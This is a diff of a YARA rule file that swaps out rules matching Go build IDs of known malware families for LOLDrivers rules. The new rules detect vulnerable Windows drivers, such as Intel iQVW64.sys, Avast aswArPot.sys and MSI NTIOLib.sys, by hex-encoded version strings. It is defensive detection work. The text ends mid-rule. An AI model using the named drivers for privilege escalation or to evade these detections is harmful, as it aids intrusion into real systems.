+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005200450041004c0069005800280074006d0029 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0038002e003500300020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0038002e00350030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004800570069004e0046004f00330032002e005300590053 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004800570069004e0046004f00330032002f003600340020004b00650072006e0065006c0020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004800570069004e0046004f00330032002e005300590053 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290031003900390039002d00320030003100310020004d0061007200740069006e0020004d0061006c00ed006b0020002d0020005200450041004c00690058 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <8000KB and 1 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_Gobuildid_Gostealer : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Intelcorporation_Iqvwsys_Intelriqvwsys_5F65 : FILE
 {
 	meta:
-		description = "Detects Golang Build IDs in known bad samples"
-		author = "ditekSHen"
-		id = "25c0eb8b-c69c-5f50-b622-daaa3c8c62a4"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L1552-L1562"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "d548bc2580c8e8233a5fcdf85b947547c10f2c4d0056d14e990f30dd7b9a0672"
-		score = 75
-		quality = 75
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iQVW64.SYS"
+		author = "Florian Roth"
+		id = "7b5d5036-d7ec-5722-a18c-9ccaeea8088e"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L1863-L1882"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "5f6547e9823f94c5b94af1fb69a967c4902f72b6e0c783804835e6ce27f887b0"
+		logic_hash = "66fa3b5461eb9cf7c9f0eba976ac1546338ac11b937cc9753340042a0dc49066"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$s1 = "Go build ID: \"xQV-b1Fr7d576TTTpbXi/gq4FgVQqMcg--9tmY13y/76rKNEUBENlDFDcecmm_/mbw17A_6WrROaNCYDEQF\"" ascii
-		$s2 = "Go build ID: \"x4VqrSSsx8iysxVdfB-z/gIF3p7SUxiZsVgTuq7bN/93XHuILGnGYq2L83fRpj/eoY6nTqwk1sdMHTaXzlw\"" ascii
-		$s3 = "Go build ID: \"BPRThIYWbHcZQQ4K1y2t/2mO0-FjLC50P0QZuMTgC/9i6TYw_akiEF9ZPN0s3p/s1XoqXr7EyXMDVw5TTP3\"" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049006e00740065006c0028005200290020004e006500740077006f0072006b0020004100640061007000740065007200200044006900610067006e006f00730074006900630020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e00740065006c00200043006f00720070006f0072006100740069006f006e0020 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0033002e0032002e003100330020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0033002e0032002e00310033 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006900510056005700360034002e005300590053 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049006e00740065006c0028005200290020006900510056005700360034002e005300590053 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006900510056005700360034002e005300590053 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300032002d003200300031003700200049006e00740065006c00200043006f00720070006f0072006100740069006f006e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <8000KB and 1 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_Gobuildid_Goldenaxe : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Tgsoftsas_Viragtsys_Viritagentsystem_58A7 : FILE
 {
 	meta:
-		description = "Detects Golang Build IDs in known bad samples"
-		author = "ditekSHen"
-		id = "e734d5b4-2332-5b46-a05e-fb35134ea070"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L1564-L1573"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "4ab9aeaa74530de4a62ddfa8d7e8607e455d0ba4330260037327bec6d8d7abab"
-		score = 75
-		quality = 75
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - viraglt64.sys, viragt64.sys"
+		author = "Florian Roth"
+		id = "5ea684cc-982c-5056-9e80-26fe74cb3a64"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L1885-L1904"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "58a74dceb2022cd8a358b92acd1b48a5e01c524c3b0195d7033e4bd55eff4495"
+		logic_hash = "f1f16f31db7cd1249b3a76eddf0091a1b89d158da5c3beb1e3ed5ec18a3a7d72"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$s1 = "Go build ID: \"BrJuyMRdiZ7pC9Cah0is/rbDB__hXWimivbSGiCLi/B35SPLQwHal3ccR2gXNx/hEmVzhJWWatsrKwnENh_\"" ascii
-		$s2 = "Go build ID: \"5bgieaBe9PcZCZf23WFp/bCZ0AUHYlqQmX8GJASV6/fGxRLMDDYrTm1jcLMt8j/Wof3n5634bwiwLHFKHTn\"" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0054004700200053006f0066007400200053002e0061002e0073002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c00200030002c00200030002c002000310031 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c00200030002c00200030002c002000310031 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007600690072006100670074002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00760069007200610067007400360034002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200054004700200053006f0066007400200053002e0061002e0073002e00200032003000310031002c002000320030003100360020002d0020007700770077002e007400670073006f00660074002e00690074 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <8000KB and 1 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_Gobuildid_Nemty : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Panyazilimbilisimteknolojileriticltdsti_Panmonfltxsys_Pancafemanager_0650 : FILE
 {
 	meta:
-		description = "Detects Golang Build IDs in known bad samples"
-		author = "ditekSHen"
-		id = "512fe910-e38c-513c-b678-a0592bdc4ae2"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L1575-L1588"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "246766ab1d2871b5c22323f622d39ce9fa9b46a2d43bace122ed5549484f3aac"
-		score = 75
-		quality = 75
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - PanMonFltX64.sys"
+		author = "Florian Roth"
+		id = "bc354ed5-befe-5421-9dbe-a5faef0cfa4a"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L1907-L1926"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "06508aacb4ed0a1398a2b0da5fa2dbf7da435b56da76fd83c759a50a51c75caf"
+		logic_hash = "ad7595823bec8291999096f6249051d51741761c09e5a00ed72b01beeb13389b"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$s1 = "Go build ID: \"R6dvaUktgv2SjVXDoMdo/kKgwagwoLRC88DpIXAmx/eipNq7_PQCTCOhZ6Q74q/RHJkCaNdTbd6qgYiA-EC\"" ascii
-		$s2 = "Go build ID: \"vsdndTwlj03gbEoDu06S/anJkXGh7N08537M0RMms/VG58d99axcdeD_z1JIko/tfDVbCdWUId-VX90kuT7\"" ascii
-		$s3 = "Go build ID: \"FG9JEesXBQ04oNCv2bIS/MmjCdGa3ogU_6DIz6bZR/AjrqKBSezDfY1t7U9xr-/-06dIpZsukiVcN0PtOCb\"" ascii
-		$s4 = "Go build ID: \"MJ8bS1emWrrlXiE_C61E/A6GaZzhLls_pFKMGfU1H/ZgswGQy_lzK-I4cZykwm/8JzjhV06jZosSa5Qih5O\"" ascii
-		$s5 = "Go build ID: \"_vQalVQKn2O8kxxA4vVM/slXlklhnjEF5tawjlPzW/t26rDRURK6ii0MqU7gIx/MNq6vj_uM15RhjVC2QuX\"" ascii
-		$s6 = "Go build ID: \"KWssFDTp6mq16xlI5c0t/mQLgof0oyp-eYKqNYUFL/Np8S71zE5W5_BsJCpjsj/hXpFDaVCtay2509R05fd\"" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500061006e00430061006600650020004d0061006e0061006700650072002000460069006c00650020004d006f006e00690074006f0072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00500061006e002000590061007a0069006c0069006d002000420069006c006900730069006d002000540065006b006e006f006c006f006a0069006c0065007200690020005400690063002e0020004c00740064002e0020005300740069002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00500061006e004d006f006e0046006c0074005800360034002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500061006e00430061006600650020004d0061006e0061006700650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00500061006e004d006f006e0046006c0074005800360034002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280063002900200032003000310032002d0032003000310034002000500061006e002000590061007a0131006c0131006d002000420069006c006900730069006d002000540065006b006e006f006c006f006a0069006c0065007200690020005400690063002e0020004c00740064002e0020005300740069002e }
 
 	condition:
-		uint16(0)==0x5a4d and 1 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_Gobuildid_Qnapcrypt : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Nvidiacorp_Nvoclocksys_Nvidiasystemutilitydriver_D633 : FILE
 {
 	meta:
-		description = "Detects Golang Build IDs in known bad samples"
-		author = "ditekSHen"
-		id = "4cdea15f-d8fd-5720-ba25-eb60e9b0f9ce"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L1590-L1598"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b3ee583c395701350c091041a72f988d1b5ae607b642b42152fcda29f9be63e2"
-		score = 75
-		quality = 75
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - nvoclock.sys"
+		author = "Florian Roth"
+		id = "e99866a4-4787-5813-835f-0c9570f80eda"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L1929-L1949"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "d633055c7eda26dacfc30109eb790625519fc7b0a3a601ceed9e21918aad8a1b"
+		hash = "29f449fca0a41deccef5b0dccd22af18259222f69ed6389beafe8d5168c59e36"
+		logic_hash = "40d935ad81305da16adadabbbb18376bb0af64df5ce164625ec1e223ee01ceba"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$s1 = "Go build ID: \"XcBqbQohm7UevdYNABvs/2RcJz1616naXSRu2xvTX/b6F3Jt1-5WAIexSyzeun/MpHqs5fJA5G2D9gVuUCe\"" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00560069006400690061002000530079007300740065006d0020005500740069006c0069007400790020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e0056006900640069006100200043006f00720070002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e00300030002e00300036 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e00300030002e00300036 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006e0076006f0063006c006f0063006b002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00560069006400690061002000530079007300740065006d0020005500740069006c0069007400790020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e0076006f0063006c006f0063006b002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a9004e0056004900440049004100200043006f00720070002e00200032003000300033002d0032003000300034 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <8000KB and 1 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_Gobuildid_Snatch : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_0F17 : FILE
 {
 	meta:
-		description = "Detects Golang Build IDs in known bad samples"
-		author = "ditekSHen"
-		id = "6ab6b7bc-c905-5ff9-8059-a2d512ba13b3"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L1600-L1610"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "5a19c791ed0d829c4c97e35cfa604a8716bad3f02632712903d765db95ba87f6"
-		score = 75
-		quality = 75
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		id = "a54ff7bf-30a8-5cfc-aaca-a172bee2062b"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L1952-L1971"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "0f17e5cfc5bdd74aff91bfb1a836071345ba2b5d1b47b0d5bf8e7e0d4d5e2dbf"
+		logic_hash = "3e9d3d998c97ac3491211c231552ee36be1428ca8ec61e89e9c1c1b7ff4ccf22"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$s1 = "Go build ID: \"8C2VvDTH-MuUPx8tL42E/PWF9iuE2j_Zt0ANsTlty/c64swZ5TtuaIpHuEFmga/6sS0KWNryc-YAduDnWWO\"" ascii
-		$s2 = "Go build ID: \"UBrfJ_wztDfCHWakqvlV/LhzfkJwvKFrNhKCHtU9_/sveCupt8GVbvu6WZiyA-/GcimfL_TPl6FTPPriBDr\"" ascii
-		$s3 = "Go build ID: \"5zCy9jt7UZaIs5YPk4tt/1Yt6v7gCpDG---pRFyW-/7729nLSeKJik31ftz_Ve/Z5EVG3lWak3ynxNrJ4ih\"" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0033002e0034003200320034002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0033002e0034003200320034002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003900200041005600410053005400200053006f006600740077006100720065 }
 
 	condition:
-		uint16(0)==0x5a4d and 1 of them
+		uint16(0)==0x5a4d and filesize <300KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_Gobuildid_Godownloader : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Bsmisys_5962 : FILE
 {
 	meta:
-		description = "Detects Golang Build IDs in known bad samples"
-		author = "ditekSHen"
-		id = "da53c062-4a55-543d-b2b6-52acdf13febc"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L1612-L1622"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e0f5ee6ade4608a8b5c5bd02bf5aef0fcb9cb1fe1cc3a9d00b1ace91e5d0d33f"
-		score = 75
-		quality = 75
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - BSMI.sys, BSMIXP64.sys"
+		author = "Florian Roth"
+		id = "86a0715c-4f0b-52ba-b6dc-44bd4499a222"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L1974-L1992"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "59626cac380d8fe0b80a6d4c4406d62ba0683a2f0f68d50ad506ca1b1cf25347"
+		hash = "552f70374715e70c4ade591d65177be2539ec60f751223680dfaccb9e0be0ed9"
+		logic_hash = "2ddfc5fea50425403654a8c60b372e2416cb0e0424ab26a8812e0b1fb35d399d"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$s1 = "Go build ID: \"1OzJqWaH4h1VtrLP-zk8/G9w32ha7_ziW1Fa-0Byj/gLtfhbXZ6i_W0e5e_tFF/ekG0n9hOcZjmwzRQnRqC\"" ascii
-		$s2 = "Go build ID: \"kKxyj14l4NhGbuhOgzef/ab_yr_pUn6q2idYdoBhn/hFAjO_Yxc_rN6mHFuHM9/SmS3qmOyJBc_4xV_qg3B\"" ascii
-		$s3 = "Go build ID: \"MiW7XJnQsBXxlBHro8GW/HMqQknRgJg-mCXomgFRt/88ccKMrfA_s6AcOJs3aM/jSUAU_l3RrMzlV6ANEYE\"" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0053004d00490020004400720069007600650072 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0033 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0033 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00420053004d0049002e007300790073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00420053004d0049002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000420049004f005300540041005200200043006f00720070002e00200032003000310031 }
 
 	condition:
-		uint16(0)==0x5a4d and 1 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_Gobuildid_Ranumbot : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Novellinc_Novellxtier_C6FE : FILE
 {
 	meta:
-		description = "Detects Golang Build IDs in known bad samples"
-		author = "ditekSHen"
-		id = "f368cd9d-f974-56cf-a2b5-bd300f30cedc"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L1624-L1633"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "c3d0ba55ca2be1b11ebf1b82490c5d26f2b35958b31a7e55892e27f24bf4118f"
-		score = 75
-		quality = 75
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - nscm.sys"
+		author = "Florian Roth"
+		id = "4472b910-a043-5c2b-ab57-2a5f6d19f5f0"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L1995-L2016"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "c6feb3f4932387df7598e29d4f5bdacec0b9ce98db3f51d96fc4ffdcc6eb10e1"
+		hash = "e7b79fe1377b3da749590c080d4d96e59e622b1013b2183b98c81baa8bf2fffe"
+		hash = "f77fe6b1e0e913ac109335a8fa2ac4961d35cbbd50729936059aba8700690a9e"
+		hash = "1675eedd4c7f2ec47002d623bb4ec689ca9683020e0fdb0729a9047c8fb953dd"
+		logic_hash = "15258a5e43b0728b4ab93211fa636f90bdf53c4547733c1ef68ef82f8f26839c"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$s1 = "Go build ID: \"hOhuOA4W60aBBRoFQTDA/dl9DuLAgEcabYGK6ZT2t/ECsse3630jV_957OqqK3/ZRA_JRPFzxutK16zlEcM\"" ascii
-		$s2 = "Go build ID: \"NivDrAudWE-E6xtBXeww/3pv6fDzDqt4v0YxoTkPt/8vd79TNE-9Bt38ftxf_V/_GNqnqEUsRf-WTSmn8dM\"" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e006f00760065006c006c002000580054006900650072002000530065007300730069006f006e0020004d0061006e0061006700650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e006f00760065006c006c002c00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e00310032002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e00310032 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e006f00760065006c006c002000580054006900650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e00730063006d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200032003000300030002d0032003000310035002c0020004e006f00760065006c006c002c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and 1 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_Gobuildid_Banload : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Elaboratebytesag_Elbycdio_Cdrtools_AF16 : FILE
 {
 	meta:
-		description = "Detects Golang Build IDs in known bad samples"
-		author = "ditekSHen"
-		id = "5955afd5-f26f-5df1-b355-b8f168b694b0"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L1635-L1643"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "534de1ce161e5e27f380f96b83630aa75031f268658aa7e8ff8ecce82ed5d4cd"
-		score = 75
-		quality = 75
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - elbycdio.sys"
+		author = "Florian Roth"
+		id = "7863f53e-e2eb-5302-8a28-91966f3d8482"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L2019-L2038"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "af16c36480d806adca881e4073dcd41acb20c35ed0b1a8f9bd4331de655036e1"
+		logic_hash = "390b48999576261d87a970dee3dd1da4d82f45bdcf4db37be180c464bacfa488"
+		score = 40
+		quality = 80
+		tags = "FILE"
+
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f007700730020004e0054002f0032003000300030002f0058005000200049002f004f0020006400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0034002c00200032002c00200030002c00200030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0034002c00200032002c00200030002c00200030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003200200045006c00610062006f0072006100740065002000420079007400650073002000410047 }
+
+	condition:
+		uint16(0)==0x5a4d and filesize <100KB and all of them
+}
+rule LOLDRIVERS_PUA_VULN_Driver_Msi_Ntiolibsys_Ntiolib_99F4 : FILE
+{
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
+		author = "Florian Roth"
+		id = "b1168895-eef9-5dfc-9b19-b3e0e302586d"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L2041-L2090"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "99f4994a0e5bd1bf6e3f637d3225c69ff4cd620557e23637533e7f18d7d6cba1"
+		hash = "56a3c9ac137d862a85b4004f043d46542a1b61c6acb438098a9640469e2d80e7"
+		hash = "c2a4ddcc9c3b339d752c48925d62fc4cc5adbf6fae8fedef74cdd47e88da01f8"
